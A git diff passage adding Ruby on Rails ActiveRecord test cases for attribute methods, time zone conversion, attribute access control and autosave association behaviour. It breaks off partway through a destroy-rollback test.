+ [true, "true", "1", 1].each do |value|
+ assert_equal true, Topic.new(:approved => value).approved?
+ end
+ end
+
+ def test_query_attribute_with_custom_fields
+ object = Company.find_by_sql(<<-SQL).first
+ SELECT c1.*, c2.type as string_value, c2.rating as int_value
+ FROM companies c1, companies c2
+ WHERE c1.firm_id = c2.id
+ AND c1.id = 2
+ SQL
+
+ assert_equal "Firm", object.string_value
+ assert object.string_value?
+
+ object.string_value = " "
+ assert !object.string_value?
+
+ assert_equal 1, object.int_value.to_i
+ assert object.int_value?
+
+ object.int_value = "0"
+ assert !object.int_value?
+ end
+
+ def test_non_attribute_access_and_assignment
+ topic = Topic.new
+ assert !topic.respond_to?("mumbo")
+ assert_raise(NoMethodError) { topic.mumbo }
+ assert_raise(NoMethodError) { topic.mumbo = 5 }
+ end
+
+ def test_undeclared_attribute_method_does_not_affect_respond_to_and_method_missing
+ topic = @target.new(:title => 'Budget')
+ assert topic.respond_to?('title')
+ assert_equal 'Budget', topic.title
+ assert !topic.respond_to?('title_hello_world')
+ assert_raise(NoMethodError) { topic.title_hello_world }
+ end
+
+ def test_declared_prefixed_attribute_method_affects_respond_to_and_method_missing
+ topic = @target.new(:title => 'Budget')
+ %w(default_ title_).each do |prefix|
+ @target.class_eval "def #{prefix}attribute(*args) args end"
+ @target.attribute_method_prefix prefix
+
+ meth = "#{prefix}title"
+ assert topic.respond_to?(meth)
+ assert_equal ['title'], topic.send(meth)
+ assert_equal ['title', 'a'], topic.send(meth, 'a')
+ assert_equal ['title', 1, 2, 3], topic.send(meth, 1, 2, 3)
+ end
+ end
+
+ def test_declared_suffixed_attribute_method_affects_respond_to_and_method_missing
+ topic = @target.new(:title => 'Budget')
+ %w(_default _title_default _it! _candidate= able?).each do |suffix|
+ @target.class_eval "def attribute#{suffix}(*args) args end"
+ @target.attribute_method_suffix suffix
+
+ meth = "title#{suffix}"
+ assert topic.respond_to?(meth)
+ assert_equal ['title'], topic.send(meth)
+ assert_equal ['title', 'a'], topic.send(meth, 'a')
+ assert_equal ['title', 1, 2, 3], topic.send(meth, 1, 2, 3)
+ end
+ end
+
+ def test_declared_affixed_attribute_method_affects_respond_to_and_method_missing
+ topic = @target.new(:title => 'Budget')
+ [['mark_', '_for_update'], ['reset_', '!'], ['default_', '_value?']].each do |prefix, suffix|
+ @target.class_eval "def #{prefix}attribute#{suffix}(*args) args end"
+ @target.attribute_method_affix({ :prefix => prefix, :suffix => suffix })
+
+ meth = "#{prefix}title#{suffix}"
+ assert topic.respond_to?(meth)
+ assert_equal ['title'], topic.send(meth)
+ assert_equal ['title', 'a'], topic.send(meth, 'a')
+ assert_equal ['title', 1, 2, 3], topic.send(meth, 1, 2, 3)
+ end
+ end
+
+ def test_should_unserialize_attributes_for_frozen_records
+ myobj = {:value1 => :value2}
+ topic = Topic.create("content" => myobj)
+ topic.freeze
+ assert_equal myobj, topic.content
+ end
+
+ def test_typecast_attribute_from_select_to_false
+ Topic.create(:title => 'Budget')
+ # Oracle does not support boolean expressions in SELECT
+ if current_adapter?(:OracleAdapter)
+ topic = Topic.all.merge!(:select => "topics.*, 0 as is_test").first
+ else
+ topic = Topic.all.merge!(:select => "topics.*, 1=2 as is_test").first
+ end
+ assert !topic.is_test?
+ end
+
+ def test_typecast_attribute_from_select_to_true
+ Topic.create(:title => 'Budget')
+ # Oracle does not support boolean expressions in SELECT
+ if current_adapter?(:OracleAdapter)
+ topic = Topic.all.merge!(:select => "topics.*, 1 as is_test").first
+ else
+ topic = Topic.all.merge!(:select => "topics.*, 2=2 as is_test").first
+ end
+ assert topic.is_test?
+ end
+
+ def test_raises_dangerous_attribute_error_when_defining_activerecord_method_in_model
+ %w(save create_or_update).each do |method|
+ klass = Class.new ActiveRecord::Base
+ klass.class_eval "def #{method}() 'defined #{method}' end"
+ assert_raise ActiveRecord::DangerousAttributeError do
+ klass.instance_method_already_implemented?(method)
+ end
+ end
+ end
+
+ def test_only_time_related_columns_are_meant_to_be_cached_by_default
+ expected = %w(datetime timestamp time date).sort
+ assert_equal expected, ActiveRecord::Base.attribute_types_cached_by_default.map(&:to_s).sort
+ end
+
+ def test_declaring_attributes_as_cached_adds_them_to_the_attributes_cached_by_default
+ default_attributes = Topic.cached_attributes
+ Topic.cache_attributes :replies_count
+ expected = default_attributes + ["replies_count"]
+ assert_equal expected.sort, Topic.cached_attributes.sort
+ Topic.instance_variable_set "@cached_attributes", nil
+ end
+
+ def test_cacheable_columns_are_actually_cached
+ assert_equal cached_columns.sort, Topic.cached_attributes.sort
+ end
+
+ def test_accessing_cached_attributes_caches_the_converted_values_and_nothing_else
+ t = topics(:first)
+ cache = t.instance_variable_get "@attributes_cache"
+
+ assert_not_nil cache
+ assert cache.empty?
+
+ all_columns = Topic.columns.map(&:name)
+ uncached_columns = all_columns - cached_columns
+
+ all_columns.each do |attr_name|
+ attribute_gets_cached = Topic.cache_attribute?(attr_name)
+ val = t.send attr_name unless attr_name == "type"
+ if attribute_gets_cached
+ assert cached_columns.include?(attr_name)
+ assert_equal val, cache[attr_name]
+ else
+ assert uncached_columns.include?(attr_name)
+ assert !cache.include?(attr_name)
+ end
+ end
+ end
+
+ def test_write_nil_to_time_attributes
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.new
+ record.written_on = nil
+ assert_nil record.written_on
+ end
+ end
+
+ def test_write_time_to_date_attributes
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.new
+ record.last_read = Time.utc(2010, 1, 1, 10)
+ assert_equal Date.civil(2010, 1, 1), record.last_read
+ end
+ end
+
+ def test_time_attributes_are_retrieved_in_current_time_zone
+ in_time_zone "Pacific Time (US & Canada)" do
+ utc_time = Time.utc(2008, 1, 1)
+ record = @target.new
+ record[:written_on] = utc_time
+ assert_equal utc_time, record.written_on # record.written on is equal to (i.e., simultaneous with) utc_time
+ assert_kind_of ActiveSupport::TimeWithZone, record.written_on # but is a TimeWithZone
+ assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone # and is in the current Time.zone
+ assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time # and represents time values adjusted accordingly
+ end
+ end
+
+ def test_setting_time_zone_aware_attribute_to_utc
+ in_time_zone "Pacific Time (US & Canada)" do
+ utc_time = Time.utc(2008, 1, 1)
+ record = @target.new
+ record.written_on = utc_time
+ assert_equal utc_time, record.written_on
+ assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+ assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+ end
+ end
+
+ def test_setting_time_zone_aware_attribute_in_other_time_zone
+ utc_time = Time.utc(2008, 1, 1)
+ cst_time = utc_time.in_time_zone("Central Time (US & Canada)")
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.new
+ record.written_on = cst_time
+ assert_equal utc_time, record.written_on
+ assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+ assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+ end
+ end
+
+ def test_setting_time_zone_aware_read_attribute
+ utc_time = Time.utc(2008, 1, 1)
+ cst_time = utc_time.in_time_zone("Central Time (US & Canada)")
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.create(:written_on => cst_time).reload
+ assert_equal utc_time, record[:written_on]
+ assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record[:written_on].time_zone
+ assert_equal Time.utc(2007, 12, 31, 16), record[:written_on].time
+ end
+ end
+
+ def test_setting_time_zone_aware_attribute_with_string
+ utc_time = Time.utc(2008, 1, 1)
+ (-11..13).each do |timezone_offset|
+ time_string = utc_time.in_time_zone(timezone_offset).to_s
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.new
+ record.written_on = time_string
+ assert_equal Time.zone.parse(time_string), record.written_on
+ assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+ assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+ end
+ end
+ end
+
+ def test_time_zone_aware_attribute_saved
+ in_time_zone 1 do
+ record = @target.create(:written_on => '2012-02-20 10:00')
+
+ record.written_on = '2012-02-20 09:00'
+ record.save
+ assert_equal Time.zone.local(2012, 02, 20, 9), record.reload.written_on
+ end
+ end
+
+ def test_setting_time_zone_aware_attribute_to_blank_string_returns_nil
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.new
+ record.written_on = ' '
+ assert_nil record.written_on
+ assert_nil record[:written_on]
+ end
+ end
+
+ def test_setting_time_zone_aware_attribute_interprets_time_zone_unaware_string_in_time_zone
+ time_string = 'Tue Jan 01 00:00:00 2008'
+ (-11..13).each do |timezone_offset|
+ in_time_zone timezone_offset do
+ record = @target.new
+ record.written_on = time_string
+ assert_equal Time.zone.parse(time_string), record.written_on
+ assert_equal ActiveSupport::TimeZone[timezone_offset], record.written_on.time_zone
+ assert_equal Time.utc(2008, 1, 1), record.written_on.time
+ end
+ end
+ end
+
+ def test_setting_time_zone_aware_attribute_in_current_time_zone
+ utc_time = Time.utc(2008, 1, 1)
+ in_time_zone "Pacific Time (US & Canada)" do
+ record = @target.new
+ record.written_on = utc_time.in_time_zone
+ assert_equal utc_time, record.written_on
+ assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+ assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+ end
+ end
+
+ def test_setting_time_zone_conversion_for_attributes_should_write_value_on_class_variable
+ Topic.skip_time_zone_conversion_for_attributes = [:field_a]
+ Minimalistic.skip_time_zone_conversion_for_attributes = [:field_b]
+
+ assert_equal [:field_a], Topic.skip_time_zone_conversion_for_attributes
+ assert_equal [:field_b], Minimalistic.skip_time_zone_conversion_for_attributes
+ end
+
+ def test_read_attributes_respect_access_control
+ privatize("title")
+
+ topic = @target.new(:title => "The pros and cons of programming naked.")
+ assert !topic.respond_to?(:title)
+ exception = assert_raise(NoMethodError) { topic.title }
+ assert exception.message.include?("private method")
+ assert_equal "I'm private", topic.send(:title)
+ end
+
+ def test_write_attributes_respect_access_control
+ privatize("title=(value)")
+
+ topic = @target.new
+ assert !topic.respond_to?(:title=)
+ exception = assert_raise(NoMethodError) { topic.title = "Pants"}
+ assert exception.message.include?("private method")
+ topic.send(:title=, "Very large pants")
+ end
+
+ def test_question_attributes_respect_access_control
+ privatize("title?")
+
+ topic = @target.new(:title => "Isaac Newton's pants")
+ assert !topic.respond_to?(:title?)
+ exception = assert_raise(NoMethodError) { topic.title? }
+ assert exception.message.include?("private method")
+ assert topic.send(:title?)
+ end
+
+ def test_bulk_update_respects_access_control
+ privatize("title=(value)")
+
+ assert_raise(ActiveRecord::UnknownAttributeError) { @target.new(:title => "Rants about pants") }
+ assert_raise(ActiveRecord::UnknownAttributeError) { @target.new.attributes = { :title => "Ants in pants" } }
+ end
+
+ def test_read_attribute_overwrites_private_method_not_considered_implemented
+ # simulate a model with a db column that shares its name an inherited
+ # private method (e.g. Object#system)
+ #
+ Object.class_eval do
+ private
+ def title; "private!"; end
+ end
+ assert !@target.instance_method_already_implemented?(:title)
+ topic = @target.new
+ assert_nil topic.title
+
+ Object.send(:undef_method, :title) # remove test method from object
+ end
+
+ def test_instance_method_should_be_defined_on_the_base_class
+ subklass = Class.new(Topic)
+
+ Topic.define_attribute_methods
+
+ instance = subklass.new
+ instance.id = 5
+ assert_equal 5, instance.id
+ assert subklass.method_defined?(:id), "subklass is missing id method"
+
+ Topic.undefine_attribute_methods
+
+ assert_equal 5, instance.id
+ assert subklass.method_defined?(:id), "subklass is missing id method"
+ end
+
+ def test_dispatching_column_attributes_through_method_missing_deprecated
+ Topic.define_attribute_methods
+
+ topic = Topic.new(:id => 5)
+ topic.id = 5
+
+ topic.method(:id).owner.send(:undef_method, :id)
+
+ assert_deprecated do
+ assert_equal 5, topic.id
+ end
+ ensure
+ Topic.undefine_attribute_methods
+ end
+
+ def test_read_attribute_with_nil_should_not_asplode
+ assert_equal nil, Topic.new.read_attribute(nil)
+ end
+
+ # If B < A, and A defines an accessor for 'foo', we don't want to override
+ # that by defining a 'foo' method in the generated methods module for B.
+ # (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
+ def test_inherited_custom_accessors
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = "topics"
+ self.abstract_class = true
+ def title; "omg"; end
+ def title=(val); self.author_name = val; end
+ end
+ subklass = Class.new(klass)
+ [klass, subklass].each(&:define_attribute_methods)
+
+ topic = subklass.find(1)
+ assert_equal "omg", topic.title
+
+ topic.title = "lol"
+ assert_equal "lol", topic.author_name
+ end
+
+ private
+
+ def cached_columns
+ Topic.columns.map(&:name) - Topic.serialized_attributes.keys
+ end
+
+ def time_related_columns_on_topic
+ Topic.columns.select { |c| [:time, :date, :datetime, :timestamp].include?(c.type) }
+ end
+
+ def privatize(method_signature)
+ @target.class_eval(<<-private_method, __FILE__, __LINE__ + 1)
+ private
+ def #{method_signature}
+ "I'm private"
+ end
+ private_method
+ end
+end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
new file mode 100644
index 0000000..536ff48
--- /dev/null
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -0,0 +1,1431 @@
+require 'cases/helper'
+require 'models/bird'
+require 'models/company'
+require 'models/customer'
+require 'models/developer'
+require 'models/invoice'
+require 'models/line_item'
+require 'models/order'
+require 'models/parrot'
+require 'models/person'
+require 'models/pirate'
+require 'models/post'
+require 'models/reader'
+require 'models/ship'
+require 'models/ship_part'
+require 'models/tag'
+require 'models/tagging'
+require 'models/treasure'
+require 'models/eye'
+
+class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+ def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
+ assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
+ end
+
+ def test_should_not_add_the_same_callbacks_multiple_times_for_belongs_to
+ assert_no_difference_when_adding_callbacks_twice_for Ship, :pirate
+ end
+
+ def test_should_not_add_the_same_callbacks_multiple_times_for_has_many
+ assert_no_difference_when_adding_callbacks_twice_for Pirate, :birds
+ end
+
+ def test_should_not_add_the_same_callbacks_multiple_times_for_has_and_belongs_to_many
+ assert_no_difference_when_adding_callbacks_twice_for Pirate, :parrots
+ end
+
+ private
+
+ def base
+ ActiveRecord::Base
+ end
+
+ def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)
+ reflection = model.reflect_on_association(association_name)
+ assert_no_difference "callbacks_for_model(#{model.name}).length" do
+ model.send(:add_autosave_association_callbacks, reflection)
+ end
+ end
+
+ def callbacks_for_model(model)
+ model.instance_variables.grep(/_callbacks$/).map do |ivar|
+ model.instance_variable_get(ivar)
+ end.flatten
+ end
+end
+
+class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+ fixtures :companies, :accounts
+
+ def test_should_save_parent_but_not_invalid_child
+ firm = Firm.new(:name => 'GlobalMegaCorp')
+ assert firm.valid?
+
+ firm.build_account_using_primary_key
+ assert !firm.build_account_using_primary_key.valid?
+
+ assert firm.save
+ assert !firm.account_using_primary_key.persisted?
+ end
+
+ def test_save_fails_for_invalid_has_one
+ firm = Firm.first
+ assert firm.valid?
+
+ firm.build_account
+
+ assert !firm.account.valid?
+ assert !firm.valid?
+ assert !firm.save
+ assert_equal ["is invalid"], firm.errors["account"]
+ end
+
+ def test_save_succeeds_for_invalid_has_one_with_validate_false
+ firm = Firm.first
+ assert firm.valid?
+
+ firm.build_unvalidated_account
+
+ assert !firm.unvalidated_account.valid?
+ assert firm.valid?
+ assert firm.save
+ end
+
+ def test_build_before_child_saved
+ firm = Firm.find(1)
+
+ account = firm.build_account("credit_limit" => 1000)
+ assert_equal account, firm.account
+ assert !account.persisted?
+ assert firm.save
+ assert_equal account, firm.account
+ assert account.persisted?
+ end
+
+ def test_build_before_either_saved
+ firm = Firm.new("name" => "GlobalMegaCorp")
+
+ firm.account = account = Account.new("credit_limit" => 1000)
+ assert_equal account, firm.account
+ assert !account.persisted?
+ assert firm.save
+ assert_equal account, firm.account
+ assert account.persisted?
+ end
+
+ def test_assignment_before_parent_saved
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.account = a = Account.find(1)
+ assert !firm.persisted?
+ assert_equal a, firm.account
+ assert firm.save
+ assert_equal a, firm.account
+ assert_equal a, firm.account(true)
+ end
+
+ def test_assignment_before_either_saved
+ firm = Firm.new("name" => "GlobalMegaCorp")
+ firm.account = a = Account.new("credit_limit" => 1000)
+ assert !firm.persisted?
+ assert !a.persisted?
+ assert_equal a, firm.account
+ assert firm.save
+ assert firm.persisted?
+ assert a.persisted?
+ assert_equal a, firm.account
+ assert_equal a, firm.account(true)
+ end
+
+ def test_not_resaved_when_unchanged
+ firm = Firm.all.merge!(:includes => :account).first
+ firm.name += '-changed'
+ assert_queries(1) { firm.save! }
+
+ firm = Firm.first
+ firm.account = Account.first
+ assert_queries(Firm.partial_writes? ? 0 : 1) { firm.save! }
+
+ firm = Firm.first.dup
+ firm.account = Account.first
+ assert_queries(2) { firm.save! }
+
+ firm = Firm.first.dup
+ firm.account = Account.first.dup
+ assert_queries(2) { firm.save! }
+ end
+
+ def test_callbacks_firing_order_on_create
+ eye = Eye.create(:iris_attributes => {:color => 'honey'})
+ assert_equal [true, false], eye.after_create_callbacks_stack
+ end
+
+ def test_callbacks_firing_order_on_update
+ eye = Eye.create(iris_attributes: {color: 'honey'})
+ eye.update(iris_attributes: {color: 'green'})
+ assert_equal [true, false], eye.after_update_callbacks_stack
+ end
+
+ def test_callbacks_firing_order_on_save
+ eye = Eye.create(iris_attributes: {color: 'honey'})
+ assert_equal [false, false], eye.after_save_callbacks_stack
+
+ eye.update(iris_attributes: {color: 'blue'})
+ assert_equal [false, false, false, false], eye.after_save_callbacks_stack
+ end
+end
+
+class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+ fixtures :companies, :posts, :tags, :taggings
+
+ def test_should_save_parent_but_not_invalid_child
+ client = Client.new(:name => 'Joe (the Plumber)')
+ assert client.valid?
+
+ client.build_firm
+ assert !client.firm.valid?
+
+ assert client.save
+ assert !client.firm.persisted?
+ end
+
+ def test_save_fails_for_invalid_belongs_to
+ # Oracle saves empty string as NULL therefore :message changed to one space
+ assert log = AuditLog.create(:developer_id => 0, :message => " ")
+
+ log.developer = Developer.new
+ assert !log.developer.valid?
+ assert !log.valid?
+ assert !log.save
+ assert_equal ["is invalid"], log.errors["developer"]
+ end
+
+ def test_save_succeeds_for_invalid_belongs_to_with_validate_false
+ # Oracle saves empty string as NULL therefore :message changed to one space
+ assert log = AuditLog.create(:developer_id => 0, :message=> " ")
+
+ log.unvalidated_developer = Developer.new
+ assert !log.unvalidated_developer.valid?
+ assert log.valid?
+ assert log.save
+ end
+
+ def test_assignment_before_parent_saved
+ client = Client.first
+ apple = Firm.new("name" => "Apple")
+ client.firm = apple
+ assert_equal apple, client.firm
+ assert !apple.persisted?
+ assert client.save
+ assert apple.save
+ assert apple.persisted?
+ assert_equal apple, client.firm
+ assert_equal apple, client.firm(true)
+ end
+
+ def test_assignment_before_either_saved
+ final_cut = Client.new("name" => "Final Cut")
+ apple = Firm.new("name" => "Apple")
+ final_cut.firm = apple
+ assert !final_cut.persisted?
+ assert !apple.persisted?
+ assert final_cut.save
+ assert final_cut.persisted?
+ assert apple.persisted?
+ assert_equal apple, final_cut.firm
+ assert_equal apple, final_cut.firm(true)
+ end
+
+ def test_store_two_association_with_one_save
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.new
+
+ customer1 = order.billing = Customer.new
+ customer2 = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer1, order.billing
+ assert_equal customer2, order.shipping
+
+ order.reload
+
+ assert_equal customer1, order.billing
+ assert_equal customer2, order.shipping
+
+ assert_equal num_orders + 1, Order.count
+ assert_equal num_customers + 2, Customer.count
+ end
+
+ def test_store_association_in_two_relations_with_one_save
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.new
+
+ customer = order.billing = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ order.reload
+
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ assert_equal num_orders + 1, Order.count
+ assert_equal num_customers + 1, Customer.count
+ end
+
+ def test_store_association_in_two_relations_with_one_save_in_existing_object
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.create
+
+ customer = order.billing = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ order.reload
+
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ assert_equal num_orders + 1, Order.count
+ assert_equal num_customers + 1, Customer.count
+ end
+
+ def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
+ num_orders = Order.count
+ num_customers = Customer.count
+ order = Order.create
+
+ customer = order.billing = order.shipping = Customer.new
+ assert order.save
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ order.reload
+
+ customer = order.billing = order.shipping = Customer.new
+
+ assert order.save
+ order.reload
+
+ assert_equal customer, order.billing
+ assert_equal customer, order.shipping
+
+ assert_equal num_orders + 1, Order.count
+ assert_equal num_customers + 2, Customer.count
+ end
+
+ def test_store_association_with_a_polymorphic_relationship
+ num_tagging = Tagging.count
+ tags(:misc).create_tagging(:taggable => posts(:thinking))
+ assert_equal num_tagging + 1, Tagging.count
+ end
+
+ def test_build_and_then_save_parent_should_not_reload_target
+ client = Client.first
+ apple = client.build_firm(:name => "Apple")
+ client.save!
+ assert_no_queries { assert_equal apple, client.firm }
+ end
+
+ def test_validation_does_not_validate_stale_association_target
+ valid_developer = Developer.create!(:name => "Dude", :salary => 50_000)
+ invalid_developer = Developer.new()
+
+ auditlog = AuditLog.new(:message => "foo")
+ auditlog.developer = invalid_developer
+ auditlog.developer_id = valid_developer.id
+
+ assert auditlog.valid?
+ end
+end
+
+class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+ fixtures :companies, :people
+
+ def test_invalid_adding
+ firm = Firm.find(1)
+ assert !(firm.clients_of_firm << c = Client.new)
+ assert !c.persisted?
+ assert !firm.valid?
+ assert !firm.save
+ assert !c.persisted?
+ end
+
+ def test_invalid_adding_before_save
+ new_firm = Firm.new("name" => "A New Firm, Inc")
+ new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
+ assert !c.persisted?
+ assert !c.valid?
+ assert !new_firm.valid?
+ assert !new_firm.save
+ assert !c.persisted?
+ assert !new_firm.persisted?
+ end
+
+ def test_invalid_adding_with_validate_false
+ firm = Firm.first
+ client = Client.new
+ firm.unvalidated_clients_of_firm << client
+
+ assert firm.valid?
+ assert !client.valid?
+ assert firm.save
+ assert !client.persisted?
+ end
+
+ def test_valid_adding_with_validate_false
+ no_of_clients = Client.count
+
+ firm = Firm.first
+ client = Client.new("name" => "Apple")
+
+ assert firm.valid?
+ assert client.valid?
+ assert !client.persisted?
+
+ firm.unvalidated_clients_of_firm << client
+
+ assert firm.save
+ assert client.persisted?
+ assert_equal no_of_clients + 1, Client.count
+ end
+
+ def test_invalid_build
+ new_client = companies(:first_firm).clients_of_firm.build
+ assert !new_client.persisted?
+ assert !new_client.valid?
+ assert_equal new_client, companies(:first_firm).clients_of_firm.last
+ assert !companies(:first_firm).save
+ assert !new_client.persisted?
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+ end
+
+ def test_adding_before_save
+ no_of_firms = Firm.count
+ no_of_clients = Client.count
+
+ new_firm = Firm.new("name" => "A New Firm, Inc")
+ c = Client.new("name" => "Apple")
+
+ new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
+ assert_equal 1, new_firm.clients_of_firm.size
+ new_firm.clients_of_firm << c
+ assert_equal 2, new_firm.clients_of_firm.size
+
+ assert_equal no_of_firms, Firm.count # Firm was not saved to database.
+ assert_equal no_of_clients, Client.count # Clients were not saved to database.
+ assert new_firm.save
+ assert new_firm.persisted?
+ assert c.persisted?
+ assert_equal new_firm, c.firm
+ assert_equal no_of_firms + 1, Firm.count # Firm was saved to database.
+ assert_equal no_of_clients + 2, Client.count # Clients were saved to database.
+
+ assert_equal 2, new_firm.clients_of_firm.size
+ assert_equal 2, new_firm.clients_of_firm(true).size
+ end
+
+ def test_assign_ids
+ firm = Firm.new("name" => "Apple")
+ firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
+ firm.save
+ firm.reload
+ assert_equal 2, firm.clients.length
+ assert firm.clients.include?(companies(:second_client))
+ end
+
+ def test_assign_ids_for_through_a_belongs_to
+ post = Post.new(:title => "Assigning IDs works!", :body => "You heard it here first, folks!")
+ post.person_ids = [people(:david).id, people(:michael).id]
+ post.save
+ post.reload
+ assert_equal 2, post.people.length
+ assert post.people.include?(people(:david))
+ end
+
+ def test_build_before_save
+ company = companies(:first_firm)
+ new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+ assert !company.clients_of_firm.loaded?
+
+ company.name += '-changed'
+ assert_queries(2) { assert company.save }
+ assert new_client.persisted?
+ assert_equal 2, company.clients_of_firm(true).size
+ end
+
+ def test_build_many_before_save
+ company = companies(:first_firm)
+ assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+
+ company.name += '-changed'
+ assert_queries(3) { assert company.save }
+ assert_equal 3, company.clients_of_firm(true).size
+ end
+
+ def test_build_via_block_before_save
+ company = companies(:first_firm)
+ new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+ assert !company.clients_of_firm.loaded?
+
+ company.name += '-changed'
+ assert_queries(2) { assert company.save }
+ assert new_client.persisted?
+ assert_equal 2, company.clients_of_firm(true).size
+ end
+
+ def test_build_many_via_block_before_save
+ company = companies(:first_firm)
+ assert_no_queries do
+ company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
+ client.name = "changed"
+ end
+ end
+
+ company.name += '-changed'
+ assert_queries(3) { assert company.save }
+ assert_equal 3, company.clients_of_firm(true).size
+ end
+
+ def test_replace_on_new_object
+ firm = Firm.new("name" => "New Firm")
+ firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+ assert firm.save
+ firm.reload
+ assert_equal 2, firm.clients.length
+ assert firm.clients.include?(Client.find_by_name("New Client"))
+ end
+end
+
+class TestDefaultAutosaveAssociationOnNewRecord < ActiveRecord::TestCase
+ def test_autosave_new_record_on_belongs_to_can_be_disabled_per_relationship
+ new_account = Account.new("credit_limit" => 1000)
+ new_firm = Firm.new("name" => "some firm")
+
+ assert !new_firm.persisted?
+ new_account.firm = new_firm
+ new_account.save!
+
+ assert new_firm.persisted?
+
+ new_account = Account.new("credit_limit" => 1000)
+ new_autosaved_firm = Firm.new("name" => "some firm")
+
+ assert !new_autosaved_firm.persisted?
+ new_account.unautosaved_firm = new_autosaved_firm
+ new_account.save!
+
+ assert !new_autosaved_firm.persisted?
+ end
+
+ def test_autosave_new_record_on_has_one_can_be_disabled_per_relationship
+ firm = Firm.new("name" => "some firm")
+ account = Account.new("credit_limit" => 1000)
+
+ assert !account.persisted?
+ firm.account = account
+ firm.save!
+
+ assert account.persisted?
+
+ firm = Firm.new("name" => "some firm")
+ account = Account.new("credit_limit" => 1000)
+
+ firm.unautosaved_account = account
+
+ assert !account.persisted?
+ firm.unautosaved_account = account
+ firm.save!
+
+ assert !account.persisted?
+ end
+
+ def test_autosave_new_record_on_has_many_can_be_disabled_per_relationship
+ firm = Firm.new("name" => "some firm")
+ account = Account.new("credit_limit" => 1000)
+
+ assert !account.persisted?
+ firm.accounts << account
+
+ firm.save!
+ assert account.persisted?
+
+ firm = Firm.new("name" => "some firm")
+ account = Account.new("credit_limit" => 1000)
+
+ assert !account.persisted?
+ firm.unautosaved_accounts << account
+
+ firm.save!
+ assert !account.persisted?
+ end
+end
+
+class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+ end
+
+ # reload
+ def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
+ @pirate.mark_for_destruction
+ @pirate.ship.mark_for_destruction
+
+ assert !@pirate.reload.marked_for_destruction?
+ assert !@pirate.ship.reload.marked_for_destruction?
+ end
+
+ # has_one
+ def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
+ assert !@pirate.ship.marked_for_destruction?
+
+ @pirate.ship.mark_for_destruction
+ id = @pirate.ship.id
+
+ assert @pirate.ship.marked_for_destruction?
+ assert Ship.find_by_id(id)
+
+ @pirate.save
+ assert_nil @pirate.reload.ship
+ assert_nil Ship.find_by_id(id)
+ end
+
+ def test_should_skip_validation_on_a_child_association_if_marked_for_destruction
+ @pirate.ship.name = ''
+ assert !@pirate.valid?
+
+ @pirate.ship.mark_for_destruction
+ @pirate.ship.expects(:valid?).never
+ assert_difference('Ship.count', -1) { @pirate.save! }
+ end
+
+ def test_a_child_marked_for_destruction_should_not_be_destroyed_twice
+ @pirate.ship.mark_for_destruction
+ assert @pirate.save
+ class << @pirate.ship
+ def destroy; raise "Should not be called" end
+ end
+ assert @pirate.save
+ end
+
+ def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_child
+ # Stub the save method of the @pirate.ship instance to destroy and then raise an exception
+ class << @pirate.ship
+ def save(*args)
+ super
+ destroy
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
